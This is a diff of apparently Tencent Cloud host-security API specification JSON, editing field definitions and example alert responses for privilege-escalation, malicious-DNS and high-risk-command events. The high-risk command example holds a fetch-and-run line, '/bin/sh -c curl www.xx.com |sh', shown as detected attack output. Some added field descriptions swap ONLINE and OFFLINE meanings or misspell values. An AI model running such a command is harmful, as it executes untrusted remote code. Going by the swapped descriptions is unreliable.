+ "document": "过滤条件。\n<li>Ips - String - 是否必填:否 - 通过ip查询 </li>\n<li>Names - String - 是否必填:否 - 通过实例名查询 </li>\n<li>InstanceIds - String - 是否必填:否 - 通过实例id查询 </li>\n<li>Version - String 是否必填:否 - 当前防护版本( PRO_VERSION:专业版 | BASIC_VERSION:基础版 | Flagship : 旗舰版 | ProtectedMachines: 专业版+旗舰版)</li>\n<li>Risk - String 是否必填: 否 - 风险主机( yes ) </li>\n<li>Os -String 是否必填: 否 - 操作系统( DescribeMachineOsList 接口 值 )\n每个过滤条件只支持一个值,暂不支持多个值“或”关系查询</li>\n<li>Quuid - String - 是否必填: 否 - 云服务器uuid 最大100条.</li>\n<li>AddedOnTheFifteen- String 是否必填: 否 - 是否只查询15天内新增的主机( 1:是) </li>\n<li> TagId- String 是否必填: 否 - 查询指定标签关联的主机列表 </li>\n<li> AgentStatus- String 是否必填: 否 - ALL 全部; ONLINE 防护中; OFFLINE 已离线;UNINSTALLED 未安装</li>\n<li> MachineStatus- String 是否必填: 否 - ALL 全部; RUNNING 运行中; STOPPED 已关机; EXPIRED 待回收</li>",
27795
27795
  "example": "[{\"Name\": \"Status\", \"Values\": [\"AGENT_OFF****\"], \"ExactMatch\": true}]",
27796
27796
  "member": "Filter",
27797
27797
  "name": "Filters",
@@ -27816,7 +27816,7 @@
27816
27816
  {
27817
27817
  "disabled": false,
27818
27818
  "document": "主机列表",
27819
- "example": "[ { \"BaselineNum\": 0, \"CloudFrom\": 0, \"CloudTags\": [ { \"TagKey\": \"Department\", \"TagValue\": \"dev\" } ], \"CyberAttackNum\": 0, \"HasAssetScan\": 0, \"InstanceId\": \"ins-111\", \"InstanceState\": \"NORMAL\", \"InvasionNum\": 3, \"IpList\": \"1.1.1.1\", \"IsAddedOnTheFifteen\": 1, \"IsProVersion\": false, \"KernelVersion\": \"3.10.0-1160.88.1.el7.x86_64\", \"LicenseStatus\": 0, \"MachineExtraInfo\": { \"HostName\": \"demo-instance\", \"InstanceID\": \"ins-111\", \"NetworkName\": \"vpc-111\", \"NetworkType\": 1, \"PrivateIP\": \"1.1.1.1\", \"WanIP\": \"1.1.1.1\" }, \"MachineIp\": \"1.1.1.1\", \"MachineName\": \"test\", \"MachineOs\": \"CentOS 7.6 64位\", \"MachineStatus\": \"ONLINE\", \"MachineType\": \"CVM\", \"MachineWanIp\": \"1.1.1.1\", \"MalwareNum\": 0, \"PayMode\": \"POSTPAY\", \"ProjectId\": 0, \"ProtectType\": \"BASIC_VERSION\", \"Quuid\": \"3377add2-ee61-4c9a-99a3-************\", \"RegionInfo\": { \"Region\": \"ap-nanjing\", \"RegionCode\": \"nj\", \"RegionId\": 33, \"RegionName\": \"华东地区(南京)\", \"RegionNameEn\": \"East China (Nanjing)\" }, \"Remark\": \"do not remove\", \"SecurityStatus\": \"RISK\", \"Tag\": [ { \"Rid\": 1001, \"Name\": \"cwp\", \"TagId\": 1022 } ], \"Uuid\": \"3377add2-ee61-4c9a-99a3-************\", \"VpcId\": \"vpc-1dj4***\", \"VulNum\": 0 } ]",
27819
+ "example": "[ {\"Uuid\": \"3377add2-ee61-4c9a-99a3-************\", \"VpcId\": \"vpc-1dj4***\"}]",
27820
27820
  "member": "Machine",
27821
27821
  "name": "Machines",
27822
27822
  "output_required": true,
@@ -29019,7 +29019,7 @@
29019
29019
  {
29020
29020
  "disabled": false,
29021
29021
  "document": "本地提权详情",
29022
- "example": "{ \"Uuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\", \"UserName\": \"root\", \"UserGroup\": \"1000\", \"ProcessName\": \"privilege\", \"CmdLine\": \"./privilege\", \"ParentProcName\": \"bash\", \"ParentProcUser\": \"1000\", \"CreateTime\": \"2024-09-06 14:17:45\", \"Status\": 0, \"FullPath\": \"/tmp/privilege\", \"ParentProcGroup\": \"1000\", \"ParentProcPath\": \"/usr/bin/bash\", \"PsTree\": \"[{\\\"pid\\\":32528,\\\"exe\\\":\\\"/tmp/a.out\\\",\\\"account\\\":\\\"root:1002\\\",\\\"cmdline\\\":\\\"/tmp/a.out\\\",\\\"ssh_service\\\":\\\"172.16.49.104:22\\\",\\\"ssh_source\\\":\\\"113.108.77.53:12753\\\",\\\"start_time\\\":1715655696}]\", \"NewCaps\": \"SYS_RAWIO|DAC_OVERRIDE|DAC_READ_SEARCH|FOWNER|FSETID|KILL|SETGID|SETUID|SETPCAP|LINUX_IMMUTABLE|NET_BIND_SERVICE|NET_BROADCAST|NET_ADMIN|NET_RAW|IPC_LOCK|IPC_OWNER|SYS_MODULE|CHOWN|BLOCK_SUSPEND|WAKE_ALARM|SYSLOG|MAC_ADMIN|MAC_OVERRIDE|SETFCAP|AUDIT_CONTROL|AUDIT_WRITE|LEASE|MKNOD|SYS_TTY_CONFIG|SYS_TIME|SYS_RESOURCE|SYS_NICE|SYS_BOOT|SYS_ADMIN|SYS_PACCT|SYS_PTRACE|SYS_CHROOT\", \"ModifyTime\": \"2024-09-06 14:17:45\", \"MachineName\": \"机器名称\", \"ProcFilePrivilege\": \"-rwsr-xr-x\", \"HostIp\": \"1.1.1.1\", \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\", \"Id\": 10001, \"MachineWanIp\": \"1.1.1.1\", \"SuggestScheme\": \"1、检查系统是否被添加新用户,或者存在异常权限用户;\\n2、检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n3.隔离或者删除相关的木马文件;\\n4.对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\\n【Linux】https://cloud.tencent.com/document/product/296/9604xa0\\n【Windows】https://cloud.tencent.com/document/product/296/9605\", \"HarmDescribe\": \"黑客在入侵服务器后,为了进行下一步的恶意操作,会通过特定漏洞提升用户权限,或者直接获取root用户权限。\", \"Tags\": [], \"References\": [], \"MachineStatus\": \"ONLINE\" }",
29022
+ "example": "",
29023
29023
  "member": "PrivilegeEventInfo",
29024
29024
  "name": "PrivilegeEventInfo",
29025
29025
  "output_required": true,
@@ -29092,7 +29092,7 @@
29092
29092
  {
29093
29093
  "disabled": false,
29094
29094
  "document": "数据列表",
29095
- "example": "[ { \"Pid\": 1, \"MachineExtraInfo\": { \"HostName\": \"demo-instance\", \"InstanceID\": \"ins-1002\", \"NetworkName\": \"vpc-1002\", \"NetworkType\": 1, \"PrivateIP\": \"1.1.1.1\", \"WanIP\": \"1.1.1.1\" }, \"Id\": 22, \"Uuid\": \"cf59e3c0-b1cc-11e9-baac-525400ca96ee\", \"Quuid\": \"b9821ff5-75f0-4939-b21f-13c8d36a725c\", \"Hostip\": \"10.0.0.125\", \"ProcessName\": \"nginx\", \"FullPath\": \"/home/ubuntu/a\", \"CmdLine\": \"./a \", \"UserName\": \"root\", \"UserGroup\": \"ubuntu\", \"ProcFilePrivilege\": \"-rwsr-xr-x\", \"ParentProcName\": \"bash\", \"ParentProcUser\": \"ubuntu\", \"ParentProcGroup\": \"ubuntu\", \"ParentProcPath\": \"/bin/bash\", \"ProcTree\": \"a(root),bash(ubuntu),sshd(ubuntu),sshd(root),sshd(root),init(root)\", \"Status\": 0, \"CreateTime\": \"2019-08-15 15:27:52\", \"MachineName\": \"云鼎_云镜测试机_Linux_4_weikunlin\" } ]",
29095
+ "example": "",
29096
29096
  "member": "PrivilegeEscalationProcess",
29097
29097
  "name": "List",
29098
29098
  "output_required": true,
@@ -30891,7 +30891,7 @@
30891
30891
  {
30892
30892
  "disabled": false,
30893
30893
  "document": "恶意请求事件详情",
30894
- "example": "{\n \"Id\": 10368,\n \"PolicyId\": 0,\n \"PolicyType\": -1,\n \"PolicyName\": \"high level\",\n \"ProtectLevel\": 2,\n \"HostId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"HostName\": \"v_llzlu恶意请求\",\n \"HostIp\": \"192.168.111.28\",\n \"WanIp\": \"43.138.255.181\",\n \"HostStatus\": \"OFFLINE\",\n \"AgentId\": \"02db9a21-78fe-4a4c-b96f-a11bf819a962\",\n \"Domain\": \"183.60.95.201\",\n \"Tags\": [\n \n ],\n \"AccessCount\": 1,\n \"ThreatDesc\": \"发现主机存在访问恶意IP/域名的行为,您的主机可能已经失陷。\\n恶意IP/域名可能是黑客的远控服务器、恶意软件下载源、矿池地址等。\",\n \"SuggestSolution\": \"1.检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n2.隔离或者删除相关的木马文件;\\n3.对系统进行风险排查,并进行安全加固,详情可参考如下链接: \\n【Linux】https://cloud.tencent.com/document/product/296/9604 \\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"ReferenceLink\": \"https://www.**.com/**\",\n \"HandleStatus\": 6,\n \"Pid\": 1387042,\n \"ProcessName\": \"/usr/bin/ping\",\n \"ProcessMd5\": \"7f42e35e3065eaa9a58b89e249e8cbc7\",\n \"CmdLine\": \"ping 183.60.95.201 \",\n \"FirstTime\": \"2022-09-19 14:57:23\",\n \"LastTime\": \"2022-09-19 14:57:23\"\n}",
30894
+ "example": "",
30895
30895
  "member": "RiskDnsEvent",
30896
30896
  "name": "Info",
30897
30897
  "output_required": true,
@@ -38987,13 +38987,22 @@
38987
38987
  "type": "list"
38988
38988
  },
38989
38989
  {
38990
- "disabled": false,
38990
+ "disabled": true,
38991
38991
  "document": "需要导出的字段",
38992
38992
  "example": "filed_name",
38993
38993
  "member": "string",
38994
38994
  "name": "Fields",
38995
38995
  "required": false,
38996
38996
  "type": "string"
38997
+ },
38998
+ {
38999
+ "disabled": false,
39000
+ "document": "需要导出的字段",
39001
+ "example": "[\"fieldA\",\"fieldB\"]\t",
39002
+ "member": "string",
39003
+ "name": "Where",
39004
+ "required": false,
39005
+ "type": "list"
38997
39006
  }
38998
39007
  ],
38999
39008
  "type": "object"
@@ -43483,6 +43492,26 @@
43483
43492
  "output_required": false,
43484
43493
  "type": "object",
43485
43494
  "value_allowed_null": false
43495
+ },
43496
+ {
43497
+ "disabled": false,
43498
+ "document": "<li> RUNNING 运行中</li>\n<li> STOPPED 已关机</li>\n<li> EXPIRED 待回收</li>",
43499
+ "example": "RUNNING",
43500
+ "member": "string",
43501
+ "name": "InstanceState",
43502
+ "output_required": false,
43503
+ "type": "string",
43504
+ "value_allowed_null": false
43505
+ },
43506
+ {
43507
+ "disabled": false,
43508
+ "document": "<li>ONLINE 已离线 </li>\n<li>OFFLINE 防护中</li>\n<li>UNINSTALLED 未安装客户端</li>",
43509
+ "example": "UNINSTALLED",
43510
+ "member": "string",
43511
+ "name": "AgentState",
43512
+ "output_required": false,
43513
+ "type": "string",
43514
+ "value_allowed_null": false
43486
43515
  }
43487
43516
  ],
43488
43517
  "usage": "out"
@@ -44206,7 +44235,7 @@
44206
44235
  },
44207
44236
  {
44208
44237
  "disabled": false,
44209
- "document": "主机状态。\n<li>OFFLINE: 离线 </li>\n<li>ONLINE: 在线</li>\n<li>SHUTDOWN: 已关机</li>\n<li>UNINSTALLED: 未防护</li>",
44238
+ "document": "主机状态。 <li>OFFLINE: 离线 </li> <li>ONLINE: 在线</li> <li>SHUTDOWN: 已关机</li> <li>UNINSTALLED: 未防护</li>\t",
44210
44239
  "example": "ONLINE",
44211
44240
  "member": "string",
44212
44241
  "name": "MachineStatus",
@@ -44214,6 +44243,26 @@
44214
44243
  "type": "string",
44215
44244
  "value_allowed_null": false
44216
44245
  },
44246
+ {
44247
+ "disabled": false,
44248
+ "document": "ONLINE 防护中; OFFLINE 已离线;UNINStALLED 未安装",
44249
+ "example": "ONLINE",
44250
+ "member": "string",
44251
+ "name": "AgentStatus",
44252
+ "output_required": false,
44253
+ "type": "string",
44254
+ "value_allowed_null": false
44255
+ },
44256
+ {
44257
+ "disabled": false,
44258
+ "document": "RUNNING 运行中; STOPED 已关机; EXPIRED 待回收\t",
44259
+ "example": "RUNNING",
44260
+ "member": "string",
44261
+ "name": "InstanceStatus",
44262
+ "output_required": false,
44263
+ "type": "string",
44264
+ "value_allowed_null": false
44265
+ },
44217
44266
  {
44218
44267
  "disabled": false,
44219
44268
  "document": "主机安全Uuid,若客户端长时间不在线将返回空字符。",
@@ -45673,6 +45722,26 @@
45673
45722
  "output_required": true,
45674
45723
  "type": "list",
45675
45724
  "value_allowed_null": false
45725
+ },
45726
+ {
45727
+ "disabled": false,
45728
+ "document": "木马文件是否存在",
45729
+ "example": "true",
45730
+ "member": "bool",
45731
+ "name": "FileExists",
45732
+ "output_required": false,
45733
+ "type": "bool",
45734
+ "value_allowed_null": false
45735
+ },
45736
+ {
45737
+ "disabled": false,
45738
+ "document": "木马进程是否存在",
45739
+ "example": "true",
45740
+ "member": "bool",
45741
+ "name": "ProcessExists",
45742
+ "output_required": false,
45743
+ "type": "bool",
45744
+ "value_allowed_null": false
45676
45745
  }
45677
45746
  ],
45678
45747
  "usage": "out"
@@ -53640,6 +53709,16 @@
53640
53709
  "output_required": false,
53641
53710
  "type": "string",
53642
53711
  "value_allowed_null": false
53712
+ },
53713
+ {
53714
+ "disabled": false,
53715
+ "document": "风险等级",
53716
+ "example": "1",
53717
+ "member": "uint64",
53718
+ "name": "RiskLevel",
53719
+ "output_required": false,
53720
+ "type": "int",
53721
+ "value_allowed_null": false
53643
53722
  }
53644
53723
  ],
53645
53724
  "usage": "out"
@@ -1290,7 +1290,7 @@
1290
1290
  {
1291
1291
  "document": "",
1292
1292
  "input": "POST / HTTP/1.1\nHost: cwp.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeBashEvents\n<公共请求参数>\n\n{\n \"Limit\": \"1\",\n \"Offset\": \"0\"\n}",
1293
- "output": "{\n \"Response\": {\n \"List\": [\n {\n \"Uuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"Id\": 10001,\n \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"Hostip\": \"1.1.1.1\",\n \"User\": \"root:root\",\n \"Platform\": 4,\n \"BashCmd\": \"/bin/sh -c curl www.xx.com |sh\",\n \"RuleId\": 150,\n \"RuleName\": \"系统规则(标准)-计划任务远程下载\",\n \"RuleLevel\": 2,\n \"Status\": 0,\n \"CreateTime\": \"2024-10-17 12:16:08\",\n \"MachineName\": \"机器名称\",\n \"DetectBy\": 1,\n \"Pid\": \"27605\",\n \"Exe\": \"/usr/bin/bash\",\n \"ModifyTime\": \"2024-10-17 20:09:01\",\n \"RegexBashCmd\": \"/bin/sh -c curl www.xx.com |sh\",\n \"RuleCategory\": 0,\n \"HostName\": \"机器名称\"\n }\n ],\n \"RequestId\": \"7ae8b771-d517-4f78-95e0-a5432a5f1b49\",\n \"TotalCount\": 1\n }\n}",
1293
+ "output": "{\n \"Response\": {\n \"List\": [\n {\n \"Uuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"Id\": 10001,\n \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"Hostip\": \"10.*.*.1\",\n \"User\": \"root:root\",\n \"Platform\": 4,\n \"BashCmd\": \"/bin/sh -c curl www.*.com |sh\",\n \"RuleId\": 150,\n \"RuleName\": \"系统规则(标准)-计划任务远程下载\",\n \"RuleLevel\": 2,\n \"Status\": 0,\n \"CreateTime\": \"2024-10-17 12:16:08\",\n \"MachineName\": \"机器名称\",\n \"DetectBy\": 1,\n \"Pid\": \"27605\",\n \"Exe\": \"/usr/bin/bash\",\n \"ModifyTime\": \"2024-10-17 20:09:01\",\n \"RegexBashCmd\": \"/bin/sh -c curl www.*.com |sh\",\n \"RuleCategory\": 0,\n \"HostName\": \"机器名称\"\n }\n ],\n \"RequestId\": \"7ae8b771-d517-4f78-95e0-a5432a5f1b49\",\n \"TotalCount\": 1\n }\n}",
1294
1294
  "title": "高危命令事件列表"
1295
1295
  }
1296
1296
  ],
@@ -1298,7 +1298,7 @@
1298
1298
  {
1299
1299
  "document": "",
1300
1300
  "input": "POST / HTTP/1.1\nHost: cwp.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeBashEventsInfo\n<公共请求参数>\n\n{\n \"Id\": 12\n}",
1301
- "output": "{\n \"Response\": {\n \"BashEventsInfo\": {\n \"BashCmd\": \"base64 -d\",\n \"CreateTime\": \"2024-10-24 16:20:57\",\n \"DetectBy\": \"1\",\n \"Exe\": \"/usr/bin/base64\",\n \"HarmDescribe\": \"黑客在入侵服务器后,为了进行下一步的恶意操作,会执行恶意文件下载、连接矿池、添加公钥、查看敏感文件等操作。\",\n \"HostIp\": \"1.1.1.1\",\n \"Id\": 10001,\n \"MachineName\": \"机器名称\",\n \"MachineStatus\": \"ONLINE\",\n \"MachineWanIp\": \"1.1.1.1\",\n \"ModifyTime\": \"2024-10-24 16:20:58\",\n \"Pid\": \"5747\",\n \"Platform\": 4,\n \"PsTree\": \"[{\\\"pid\\\":5747,\\\"exe\\\":\\\"/usr/bin/base64\\\",\\\"account\\\":\\\"root:root\\\",\\\"cmdline\\\":\\\"base64 -d\\\",\\\"ssh_service\\\":\\\"1.1.1.1\\\",\\\"ssh_source\\\":\\\"1.1.1.1:2578\\\",\\\"start_time\\\":1729758057,\\\"type\\\":1},{\\\"pid\\\":4461,\\\"exe\\\":\\\"/usr/bin/bash\\\",\\\"account\\\":\\\"root:root\\\",\\\"cmdline\\\":\\\"-bash\\\",\\\"ssh_service\\\":\\\"1.1.1.1:22\\\",\\\"ssh_source\\\":\\\"1.1.1.1:2578\\\",\\\"start_time\\\":1729757844,\\\"type\\\":2}]\",\n \"Quuid\": \"fcf85fc9-f45e-457a-bca4-fcae074eda32\",\n \"References\": [],\n \"RegexBashCmd\": \"base64 -d\",\n \"RuleCategory\": 1,\n \"RuleId\": 0,\n \"RuleLevel\": 1,\n \"RuleName\": \"sh拦截\",\n \"Status\": 5,\n \"SuggestScheme\": \"1、检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n2、隔离或者删除相关的木马文件;\\n3、对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\\n【Linux】https://cloud.tencent.com/document/product/296/9604xa0\\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"Tags\": [],\n \"User\": \"0:0\",\n \"Uuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\"\n },\n \"RequestId\": \"41030e32-67ec-4f07-858c-432ea384ad5a\"\n }\n}",
1301
+ "output": "{\n \"Response\": {\n \"BashEventsInfo\": {\n \"BashCmd\": \"base64 -d\",\n \"CreateTime\": \"2024-10-24 16:20:57\",\n \"DetectBy\": \"1\",\n \"Exe\": \"/usr/bin/base64\",\n \"HarmDescribe\": \"黑客在入侵服务器后,为了进行下一步的恶意操作,会执行恶意文件下载、连接矿池、添加公钥、查看敏感文件等操作。\",\n \"HostIp\": \"10.*.*.1\",\n \"Id\": 10001,\n \"MachineName\": \"机器名称\",\n \"MachineStatus\": \"ONLINE\",\n \"MachineWanIp\": \"10.*.*.1\",\n \"ModifyTime\": \"2024-10-24 16:20:58\",\n \"Pid\": \"5747\",\n \"Platform\": 4,\n \"PsTree\": \"[{\\\"pid\\\":5747,\\\"exe\\\":\\\"/usr/bin/base64\\\",\\\"account\\\":\\\"root:root\\\",\\\"cmdline\\\":\\\"base64 -d\\\",\\\"ssh_service\\\":\\\"10.*.*.1\\\",\\\"ssh_source\\\":\\\"10.*.*.1:2578\\\",\\\"start_time\\\":1729758057,\\\"type\\\":1},{\\\"pid\\\":4461,\\\"exe\\\":\\\"/usr/bin/bash\\\",\\\"account\\\":\\\"root:root\\\",\\\"cmdline\\\":\\\"-bash\\\",\\\"ssh_service\\\":\\\"10.*.*.1:22\\\",\\\"ssh_source\\\":\\\"10.*.*.1:2578\\\",\\\"start_time\\\":1729757844,\\\"type\\\":2}]\",\n \"Quuid\": \"fcf85fc9-f45e-***-bca4-fcae074eda32\",\n \"References\": [],\n \"RegexBashCmd\": \"base64 -d\",\n \"RuleCategory\": 1,\n \"RuleId\": 0,\n \"RuleLevel\": 1,\n \"RuleName\": \"sh拦截\",\n \"Status\": 5,\n \"SuggestScheme\": \"1、检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n2、隔离或者删除相关的木马文件;\\n3、对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\\n【Linux】https://cloud.tencent.com/document/product/296/9604xa0\\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"Tags\": [],\n \"User\": \"0:0\",\n \"Uuid\": \"05f0bcab-726c-4ea4-***-bcd03d5598f7\"\n },\n \"RequestId\": \"41030e32-67ec-4f07-858c-432ea384ad5a\"\n }\n}",
1302
1302
  "title": "示例"
1303
1303
  }
1304
1304
  ],
@@ -1528,10 +1528,10 @@
1528
1528
  ],
1529
1529
  "DescribeHostLoginList": [
1530
1530
  {
1531
- "document": "登录审计列表",
1531
+ "document": "异常登录列表",
1532
1532
  "input": "POST / HTTP/1.1\nHost: cwp.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeHostLoginList\n<公共请求参数>\n\n{\n \"Limit\": 1,\n \"Offset\": 1\n}",
1533
1533
  "output": "{\n \"Response\": {\n \"HostLoginList\": [\n {\n \"Id\": 202008000000022,\n \"Uuid\": \"5cc8e4d2-311f-11ea-922b-98be9421969a\",\n \"MachineIp\": \"10.104.194.49\",\n \"MachineName\": \"v_lwjlin_centos_林\",\n \"UserName\": \"root\",\n \"SrcIp\": \"120.229.227.225\",\n \"Status\": 2,\n \"Country\": 1,\n \"City\": 216,\n \"Province\": 19,\n \"LoginTime\": \"2020-02-20 14:51:35\",\n \"ModifyTime\": \"2020-02-20 14:51:35\",\n \"IsRiskUser\": 0,\n \"Port\": 22,\n \"Location\": \"中国:广东省:深圳市\",\n \"Desc\": \"idesc\",\n \"IsRiskSrcIp\": 1,\n \"IsRiskArea\": 1,\n \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"RiskLevel\": 0,\n \"IsRiskTime\": 1,\n \"MachineExtraInfo\": {\n \"WanIP\": \"1.1.1.1\",\n \"InstanceID\": \"ins-12341234\",\n \"NetworkName\": \"vpc-d7f***\",\n \"PrivateIP\": \"1.1.1.1\",\n \"NetworkType\": 1,\n \"HostName\": \"机器名称\"\n }\n }\n ],\n \"RequestId\": \"be6f6eec-0825-4e67-ab9a-c8568bbf736c\",\n \"TotalCount\": 1\n }\n}",
1534
- "title": "登录审计列表"
1534
+ "title": "异常登录列表"
1535
1535
  }
1536
1536
  ],
1537
1537
  "DescribeHotVulTop": [
@@ -1978,7 +1978,7 @@
1978
1978
  {
1979
1979
  "document": "",
1980
1980
  "input": "POST / HTTP/1.1\nHost: cwp.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribePrivilegeEventInfo\n<公共请求参数>\n\n{\n \"Id\": 12\n}",
1981
- "output": "{\n \"Response\": {\n \"PrivilegeEventInfo\": {\n \"Uuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"UserName\": \"root\",\n \"UserGroup\": \"1000\",\n \"ProcessName\": \"privilege\",\n \"CmdLine\": \"./privilege\",\n \"ParentProcName\": \"bash\",\n \"ParentProcUser\": \"1000\",\n \"CreateTime\": \"2024-09-06 14:17:45\",\n \"Status\": 0,\n \"FullPath\": \"/tmp/privilege\",\n \"ParentProcGroup\": \"1000\",\n \"ParentProcPath\": \"/usr/bin/bash\",\n \"PsTree\": \"[{\\\"pid\\\":32528,\\\"exe\\\":\\\"/tmp/a.out\\\",\\\"account\\\":\\\"root:1002\\\",\\\"cmdline\\\":\\\"/tmp/a.out\\\",\\\"ssh_service\\\":\\\"172.16.49.104:22\\\",\\\"ssh_source\\\":\\\"113.108.77.53:12753\\\",\\\"start_time\\\":1715655696}]\",\n \"NewCaps\": \"SYS_RAWIO|DAC_OVERRIDE|DAC_READ_SEARCH|FOWNER|FSETID|KILL|SETGID|SETUID|SETPCAP|LINUX_IMMUTABLE|NET_BIND_SERVICE|NET_BROADCAST|NET_ADMIN|NET_RAW|IPC_LOCK|IPC_OWNER|SYS_MODULE|CHOWN|BLOCK_SUSPEND|WAKE_ALARM|SYSLOG|MAC_ADMIN|MAC_OVERRIDE|SETFCAP|AUDIT_CONTROL|AUDIT_WRITE|LEASE|MKNOD|SYS_TTY_CONFIG|SYS_TIME|SYS_RESOURCE|SYS_NICE|SYS_BOOT|SYS_ADMIN|SYS_PACCT|SYS_PTRACE|SYS_CHROOT\",\n \"ModifyTime\": \"2024-09-06 14:17:45\",\n \"MachineName\": \"机器名称\",\n \"ProcFilePrivilege\": \"-rwsr-xr-x\",\n \"HostIp\": \"1.1.1.1\",\n \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\",\n \"Id\": 10001,\n \"MachineWanIp\": \"1.1.1.1\",\n \"SuggestScheme\": \"1、检查系统是否被添加新用户,或者存在异常权限用户;\\n2、检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n3.隔离或者删除相关的木马文件;\\n4.对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\\n【Linux】https://cloud.tencent.com/document/product/296/9604xa0\\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"HarmDescribe\": \"黑客在入侵服务器后,为了进行下一步的恶意操作,会通过特定漏洞提升用户权限,或者直接获取root用户权限。\",\n \"Tags\": [],\n \"References\": [],\n \"MachineStatus\": \"ONLINE\"\n },\n \"RequestId\": \"f7f4d0bc-171d-491e-b97b-5c9bcb5a52a0\"\n }\n}",
1981
+ "output": "{\n \"Response\": {\n \"PrivilegeEventInfo\": {\n \"Uuid\": \"05f0bcab-****-4ea4-8109-bcd03d5598f7\",\n \"UserName\": \"root\",\n \"UserGroup\": \"1000\",\n \"ProcessName\": \"privilege\",\n \"CmdLine\": \"./privilege\",\n \"ParentProcName\": \"bash\",\n \"ParentProcUser\": \"1000\",\n \"CreateTime\": \"2024-09-06 14:17:45\",\n \"Status\": 0,\n \"FullPath\": \"/tmp/privilege\",\n \"ParentProcGroup\": \"1000\",\n \"ParentProcPath\": \"/usr/bin/bash\",\n \"PsTree\": \"[{\\\"pid\\\":32528,\\\"exe\\\":\\\"/tmp/a.out\\\",\\\"account\\\":\\\"root:1002\\\",\\\"cmdline\\\":\\\"/tmp/a.out\\\",\\\"ssh_service\\\":\\\"172.*.*.104:22\\\",\\\"ssh_source\\\":\\\"113.*.*.*:12753\\\",\\\"start_time\\\":1715655696}]\",\n \"NewCaps\": \"SYS_RAWIO|DAC_OVERRIDE|DAC_READ_SEARCH|FOWNER|FSETID|KILL|SETGID|SETUID|SETPCAP|LINUX_IMMUTABLE|NET_BIND_SERVICE|NET_BROADCAST|NET_ADMIN|NET_RAW|IPC_LOCK|IPC_OWNER|SYS_MODULE|CHOWN|BLOCK_SUSPEND|WAKE_ALARM|SYSLOG|MAC_ADMIN|MAC_OVERRIDE|SETFCAP|AUDIT_CONTROL|AUDIT_WRITE|LEASE|MKNOD|SYS_TTY_CONFIG|SYS_TIME|SYS_RESOURCE|SYS_NICE|SYS_BOOT|SYS_ADMIN|SYS_PACCT|SYS_PTRACE|SYS_CHROOT\",\n \"ModifyTime\": \"2024-09-06 14:17:45\",\n \"MachineName\": \"机器名称\",\n \"ProcFilePrivilege\": \"-rwsr-xr-x\",\n \"HostIp\": \"1.*.*.1\",\n \"Quuid\": \"05f0bcab-****-4ea4-8109-bcd03d5598f7\",\n \"Id\": 10001,\n \"MachineWanIp\": \"1.*.*.1\",\n \"SuggestScheme\": \"1、检查系统是否被添加新用户,或者存在异常权限用户;\\n2、检查恶意进程及非法端口,删除可疑的启动项和定时任务;\\n3.隔离或者删除相关的木马文件;\\n4.对系统进行风险排查,并进行安全加固,详情可参考如下链接:xa0\\n【Linux】https://cloud.tencent.com/document/product/296/9604xa0\\n【Windows】https://cloud.tencent.com/document/product/296/9605\",\n \"HarmDescribe\": \"黑客在入侵服务器后,为了进行下一步的恶意操作,会通过特定漏洞提升用户权限,或者直接获取root用户权限。\",\n \"Tags\": [],\n \"References\": [],\n \"MachineStatus\": \"ONLINE\"\n },\n \"RequestId\": \"f7f4d0bc-171d-491e-b97b-5c9bcb5a52a0\"\n }\n}",
1982
1982
  "title": "查询本地提权详情"
1983
1983
  }
1984
1984
  ],
@@ -1986,7 +1986,7 @@
1986
1986
  {
1987
1987
  "document": "获取本地提权事件列表",
1988
1988
  "input": "https://cwp.tencentcloudapi.com/?Action=DescribePrivilegeEvents\n&<公共请求参数>",
1989
- "output": "{\n \"Response\": {\n \"TotalCount\": 22,\n \"List\": [\n {\n \"Pid\": 1,\n \"MachineExtraInfo\": {\n \"HostName\": \"demo-instance\",\n \"InstanceID\": \"ins-1002\",\n \"NetworkName\": \"vpc-1002\",\n \"NetworkType\": 1,\n \"PrivateIP\": \"1.1.1.1\",\n \"WanIP\": \"1.1.1.1\"\n },\n \"Id\": 22,\n \"Uuid\": \"cf59e3c0-b1cc-11e9-baac-525400ca96ee\",\n \"Quuid\": \"b9821ff5-75f0-4939-b21f-13c8d36a725c\",\n \"Hostip\": \"10.0.0.125\",\n \"ProcessName\": \"nginx\",\n \"FullPath\": \"/home/ubuntu/a\",\n \"CmdLine\": \"./a \",\n \"UserName\": \"root\",\n \"UserGroup\": \"ubuntu\",\n \"ProcFilePrivilege\": \"-rwsr-xr-x\",\n \"ParentProcName\": \"bash\",\n \"ParentProcUser\": \"ubuntu\",\n \"ParentProcGroup\": \"ubuntu\",\n \"ParentProcPath\": \"/bin/bash\",\n \"ProcTree\": \"a(root),bash(ubuntu),sshd(ubuntu),sshd(root),sshd(root),init(root)\",\n \"Status\": 0,\n \"CreateTime\": \"2019-08-15 15:27:52\",\n \"MachineName\": \"测试机_Linux_4_weikunlin\"\n }\n ],\n \"RequestId\": \"bd9aa8c8-36b6-4991-8e42-d08e80313616\"\n }\n}",
1989
